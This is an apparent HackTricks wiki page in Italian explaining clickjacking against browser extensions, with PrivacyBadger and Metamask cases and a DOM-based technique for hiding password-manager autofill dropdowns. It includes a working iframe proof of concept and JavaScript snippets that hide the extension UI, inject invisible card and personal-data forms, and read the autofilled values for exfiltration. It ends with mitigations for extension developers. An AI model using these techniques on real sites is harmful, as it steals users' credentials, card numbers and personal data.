BrowExt - ClickJacking

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Questa pagina sfrutterà una vulnerabilità di ClickJacking in un’estensione del browser.
Se non sai cos’è il ClickJacking consulta:

Clickjacking

Le estensioni contengono il file manifest.json e quel file JSON ha un campo web_accessible_resources. Here’s what the Chrome docs say about it:

These resources would then be available in a webpage via the URL chrome-extension://[PACKAGE ID]/[PATH], which can be generated with the extension.getURL method. Allowlisted resources are served with appropriate CORS headers, so they’re available via mechanisms like XHR.1

Le web_accessible_resources in un’estensione del browser non sono solo accessibili via web; operano anche con i privilegi intrinseci dell’estensione. Ciò significa che hanno la capacità di:

  • Modificare lo stato dell’estensione
  • Caricare risorse aggiuntive
  • Interagire con il browser in una certa misura

Tuttavia, questa funzionalità presenta un rischio per la sicurezza. Se una risorsa all’interno di web_accessible_resources ha una funzionalità significativa, un attacker potrebbe potenzialmente incorporare questa risorsa in una pagina web esterna. Utenti ignari che visitano quella pagina potrebbero involontariamente attivare questa risorsa incorporata. Tale attivazione potrebbe portare a conseguenze non volute, a seconda delle autorizzazioni e delle capacità delle risorse dell’estensione.

PrivacyBadger Example

In the extension PrivacyBadger, a vulnerability was identified related to the skin/ directory being declared as web_accessible_resources in the following manner (Check the original blog post):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Questa configurazione ha portato a una potenziale vulnerabilità di sicurezza. In particolare, il file skin/popup.html, che viene renderizzato all’interazione con l’icona di PrivacyBadger nel browser, poteva essere incorporato all’interno di un iframe. Questo embedding poteva essere sfruttato per indurre gli utenti a cliccare involontariamente su “Disabilita PrivacyBadger per questo sito”. Tale azione comprometterebbe la privacy dell’utente disabilitando la protezione di PrivacyBadger e potenzialmente esponendolo a un aumento del tracciamento. Una dimostrazione visiva di questo exploit può essere vista in un video ClickJacking disponibile a https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Per risolvere questa vulnerabilità è stata adottata una soluzione semplice: la rimozione di /skin/* dalla lista di web_accessible_resources. Questa modifica ha mitigato efficacemente il rischio, assicurando che il contenuto della directory skin/ non potesse essere accessibile o manipolato tramite risorse accessibili via web.

La correzione è stata semplice: rimuovere /skin/* da web_accessible_resources.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Example

A blog post about a ClickJacking in metamask can be found here. In questo caso, Metamask ha corretto la vulnerabilitĂ  verificando che il protocollo usato per accedervi fosse https: o http: (non chrome:, per esempio):

Un altro ClickJacking risolto nell’estensione Metamask riguardava il fatto che gli utenti potevano Click to whitelist quando una pagina era sospetta di essere phishing a causa di “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Poiché quella pagina era vulnerabile a Clickjacking, un attaccante poteva abusarne mostrando qualcosa di normale per indurre la vittima a cliccare per inserirla nella whitelist senza accorgersene, per poi tornare alla pagina di phishing che sarebbe stata whitelisted.

Steam Inventory Helper Example

Controlla la pagina seguente per vedere come una XSS in un’estensione del browser è stata concatenata con una vulnerabilità di ClickJacking:

BrowExt - XSS Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)

Il classico extension clickjacking sfrutta web_accessible_resources mal configurati per includere in iframe HTML privilegiato e indurre clic dell’utente. Una classe più recente, DOM-based extension clickjacking, prende di mira i dropdown di autofill iniettati dai password manager direttamente nel DOM della pagina e usa trucchi CSS/DOM per nasconderli o occluderli mantenendoli però cliccabili. Un singolo clic forzato può selezionare un elemento salvato e compilare input controllati dall’attaccante con dati sensibili.

Threat model

  • Un attaccante controlla una pagina web (o ottiene XSS/subdomain takeover/cache poisoning su un dominio correlato).
  • La vittima ha un’estensione password manager installata e sbloccata (alcuni autofill anche quando nominalmente bloccati).
  • Viene indotto almeno un clic dell’utente (banner cookie sovrapposti, dialog, CAPTCHAs, giochi, ecc.).

Attack flow (manual autofill)

  1. Iniettare un form invisibile ma focalizzabile (campi login/PII/credit-card).
  2. Mettere a fuoco un input per richiamare il dropdown di autofill dell’estensione vicino al campo.
  3. Nascondere o occludere l’UI dell’estensione mantenendola però interagibile.
  4. Allineare un controllo credibile sotto il dropdown nascosto per indurre un clic che seleziona un elemento.
  5. Leggere i valori compilati dal form dell’attaccante ed esfiltrarli.

How to hide the autofill UI

  • Extension element
  • Root element opacity (generic):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
  • Elemento figlio dentro ShadowRoot aperto (tag dinamico, nascondere iframe interno):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
  • Elemento genitore
  • BODY/HTML opacity tricks per rendere la UI dell’estensione invisibile mentre la pagina appare normale (ad es., sfondo dello screenshot):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
  • Overlay
  • Partial overlay: occludere tutto tranne pochi pixel in modo che il dropdown rimanga cliccabile (assicurati che attacker overlay sia l’ultimo nel DOM con max z-index, o usa Top Layer).
  • Full overlay using pointer-events:none in modo che i clic passino attraverso al dropdown nascosto; rendilo persistente con la Popover API:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>

Posizionamento del click della vittima

  • Posizionamento fisso: posizionare il dropdown nascosto sotto un controllo credibile come “Accept cookies”, “Close”, o una checkbox CAPTCHA.
  • Seguire il mouse: spostare l’input focalizzato sotto il cursore in modo che il dropdown lo segua; rifocalizzare periodicamente cosĂŹ un singolo click ovunque seleziona un elemento:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})

Impatto e scenari

  • Sito controllato dall’attaccante: un singolo clic forzato può esfiltrare dati della carta di credito (numero/scadenza/CVC) e informazioni personali (nome, email, telefono, indirizzo, data di nascita) che non sono limitate al dominio.
  • Sito attendibile con XSS/subdomain takeover/cache poisoning: furto multi-clic di credenziali (username/password) e TOTP, perchĂŠ molti gestori di password eseguono autofill tra sottodomini correlati/domini principali (es., *.example.com).
  • Passkeys: se il RP non lega le challenge WebAuthn alla sessione, XSS può intercettare l’assertion firmata; il DOM-based clickjacking nasconde il prompt della passkey per indurre l’utente al clic di conferma.

Limitazioni

  • Richiede almeno un clic dell’utente e un buon allineamento dei pixel (overlay realistici rendono facile ottenere clic).
  • Auto-lock/logout riducono la finestra di sfruttamento; alcuni gestori continuano comunque ad eseguire autofill anche quando sono “bloccati”.

Mitigazioni per sviluppatori di estensioni

  • Renderizza l’UI di autofill nel Top Layer (Popover API) o comunque assicurati che sia sopra lo stacking della pagina; evita che sia coperta da overlay controllati dalla pagina.
  • Resisti alle manomissioni CSS: preferisci Closed Shadow DOM e monitora con MutationObserver eventuali cambiamenti di stile sospetti sulle radici dell’UI.
  • Rileva overlay ostili prima di eseguire il fill: enumera altri elementi top-layer/popover, disabilita temporaneamente pointer-events:none e usa elementsFromPoint() per rilevare occlusioni; chiudi l’UI se sono presenti overlay.
  • Rileva cambiamenti sospetti di <body>/<html> opacity o di stile sia prima che dopo il render.
  • Per problemi basati su iframe: restringi il piĂš possibile i matches di MV3 web_accessible_resources ed evita di esporre UI HTML; per HTML inevitabile, serve X-Frame-Options: DENY o Content-Security-Policy: frame-ancestors 'none'.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks